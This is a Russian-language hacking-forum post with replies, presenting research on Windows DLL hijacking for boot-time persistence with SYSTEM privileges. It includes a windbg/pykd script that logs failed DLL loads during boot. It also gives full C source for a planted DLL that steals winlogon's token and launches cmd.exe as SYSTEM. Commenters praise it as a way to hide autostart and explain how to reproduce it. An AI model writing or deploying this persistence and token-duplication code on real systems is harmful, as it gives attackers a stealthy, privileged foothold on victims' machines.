• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья [research] Автозапуск в ОС Windows с правами SYSTEM

bank.sy

*
Пользователь
Регистрация
22.10.2018
Сообщения
20
Реакции
35
ОС: Windows 10 Enterprise x64, build 17763.55
Цель: поиск уязвимых к атаке "dll hijacking" системных компонентов на стадии загрузки ОС
Софт: windbg + pykd, компилятор C

Во время загрузки, Windows размещает в памяти порядка 1700 различных модулей (драйвера, службы, dll), вот примерная статистика проекций от нашего ядра (не учитывая нескольких сервисов KMS и ВМ):

dll - 1489
sys - 115
exe - 120
cpl - 5
vdm - 4 (Windows Defender)
ocx - 1
drv - 1

Впечатляет количество dll. Среди такого множества модулей наверняка есть жучки которые остались по наследству или потерялись среди хаоса во время подготовки очередного важного обновления. Найдём их :)

Поставим на начало и возврат ntdll!LdrLoadDll по бряку, "активатором" которых служит одиночный nt!NtCreateUserProcess (Vista и выше). На коллбэках будем собирать нужную, для последующего определения плохишей, информацию (pid, процесс, dll):

Python:
from pykd import *

class hook_LdrLoadDll(eventHandler):
   def __init__(self):
       self.bp_creat_proc = setBp(module('nt').NtCreateUserProcess, self.cb_creat_proc)

   def cb_creat_proc(self):
       self.bp_creat_proc.remove()

       self.pLdrLoadDll = module('ntdll').LdrLoadDll

       self.bp_begin = setBp(self.pLdrLoadDll, self.cb_begin)
       self.bp_end = None

       return False

   def cb_begin(self):
       eproc = self.get_current_eprocess()

       print '[{}] {}: {}'.format(int(eproc.UniqueProcessId),
                                  loadCStr(eproc.ImageFileName),
                                  loadUnicodeString(reg('r8')))

       if not self.bp_end:
           offset = 0

           while 1:
               d = disasm(self.pLdrLoadDll + offset)

               if d.instruction().find('ret') >= 0:
                   break

               offset += d.length()

           self.bp_end = setBp(self.pLdrLoadDll + offset, self.cb_end)

       return False

   def cb_end(self):
       rax = reg('rax')
       eproc = self.get_current_eprocess()

       print '[{}] {}: {}'.format(int(eproc.UniqueProcessId),
                                  loadCStr(eproc.ImageFileName),
                                  ('ERROR (%X)' % rax, 'OK')[not rax])

       return False

   def get_current_eprocess(self):
       return typedVar('nt!_EPROCESS', int(dbgCommand('r $proc').split('=')[1], 16))


h = hook_LdrLoadDll()
go()

прототип ntdll!LdrLoadDll и x64 ABI подсказка:

NTSTATUS LdrLoadDll(PWCHAR PathToFile, ULONG Flags, PUNICODE_STRING ModuleFileName, PHANDLE ModuleHandle);

begin
rcx = PathToFile
rdx = Flags
r8 = ModuleFileName (логируем)
r9 = ModuleHandle

end
rax = код возврата (0 == успех)

запускаем код и ожидаем вплоть до загрузки рабочего стола где и прерываем работу скрипта. С моим COM-портом процесс длился 1.5 часа.

после отбора всех строк со STATUS_DLL_NOT_FOUND (rax == 0xC0000135) и их тестирования, можно сделать вывод:

24194215.png


24131923.jpg


тестовая dll для запуска процесса из службы:

C:
#include <windows.h>
#include <tlhelp32.h>


DWORD get_pid_by_name(PWCHAR name)
{
   HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

   if (hSnapshot == INVALID_HANDLE_VALUE)
       return 0;

   PROCESSENTRY32W pe;
   pe.dwSize = sizeof pe;

   if (!Process32FirstW(hSnapshot, &pe)) {
       CloseHandle(hSnapshot);

       return 0;
   }

   DWORD pid = 0;

   do {
       if (!lstrcmpW(pe.szExeFile, name)) {
           pid = pe.th32ProcessID;

           break;
       }
   } while (Process32NextW(hSnapshot, &pe));

   CloseHandle(hSnapshot);

   return pid;
}


BOOL create_system_process(PWCHAR name)
{
   HANDLE hWinlogon = OpenProcess(MAXIMUM_ALLOWED, 0, get_pid_by_name(L"winlogon.exe"));

   if (!hWinlogon)
       return FALSE;

   HANDLE hToken;

   if (!OpenProcessToken(hWinlogon, TOKEN_DUPLICATE, &hToken)) {
       CloseHandle(hWinlogon);

       return FALSE;
   }

   SECURITY_ATTRIBUTES sa;
   sa.nLength = sizeof sa;

   HANDLE hNewToken;

   if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, &sa, SecurityIdentification, TokenPrimary, &hNewToken)) {
       CloseHandle(hToken);
       CloseHandle(hWinlogon);

       return FALSE;
   }

   STARTUPINFOW si;
   __stosb((PBYTE)&si, 0, sizeof si);

   PROCESS_INFORMATION pi;

   si.cb = sizeof(si);
   si.lpDesktop = L"winsta0\\default";

   BOOL result = CreateProcessAsUserW(hNewToken, name, NULL, &sa, &sa, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

   if (result) {
       CloseHandle(pi.hThread);
       CloseHandle(pi.hProcess);
   }

   CloseHandle(hNewToken);
   CloseHandle(hToken);
   CloseHandle(hWinlogon);

   return result;
}


BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
   switch (fdwReason) {
       case DLL_PROCESS_ATTACH:
           create_system_process(L"C:\\Windows\\System32\\cmd . exe");

           break;

       case DLL_THREAD_ATTACH:
           break;

       case DLL_THREAD_DETACH:
           break;

       case DLL_PROCESS_DETACH:
           break;
   }

   return TRUE;
}

24131918.png


Единственное требование для эксплуатации - запись в System32 (нужны права администратора, но это, как мы понимаем, не проблема).
Уверен, прежние версии так само подвержены атаке.

[c] bank.sy
 
Когда есть права администратора можно сразу запустить сервиси он будетс правами сустем.
Если бы не надо было прав, тогда было бы круто.

Разве что, еще один из способов скрыть автозагрузку.

За статью+.
 
Основное конечно закреп, да. Права - в подарок.
Ага. Ну ты молодец. Побольше статей добавляй.
Многи пригодится.
 
Если бы не нужно было прав, это "добро" бы стоило хх$ - , при чем как минимум =)
bank.sy, классный ресерч вышел. Спасибо. Прочитал с удовольствием. И перекинул в "Статьи", чтобы тема не потерялась.
 
Объясните пожалуйста, как это можно повторить на своей системе, что-то я не совсем понял.
При запуске запуститься командная строка Windows, введите команду whoami и получите вывод в консоле, что получены права от имени системы а не о пользователя.
 
При запуске запуститься командная строка Windows, введите команду whoami и получите вывод в консоле, что получены права от имени системы а не о пользователя.
Я не верно выразился. Я имел ввиду как запустить данный скрипт на своей системе и получить результат.
 
Я не верно выразился. Я имел ввиду как запустить данный скрипт на своей системе и получить результат.
Собираешь скрипт и тестовую длл. Тестовую длл ложишь рядом со скриптом, запускаешь скрипт и всё.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх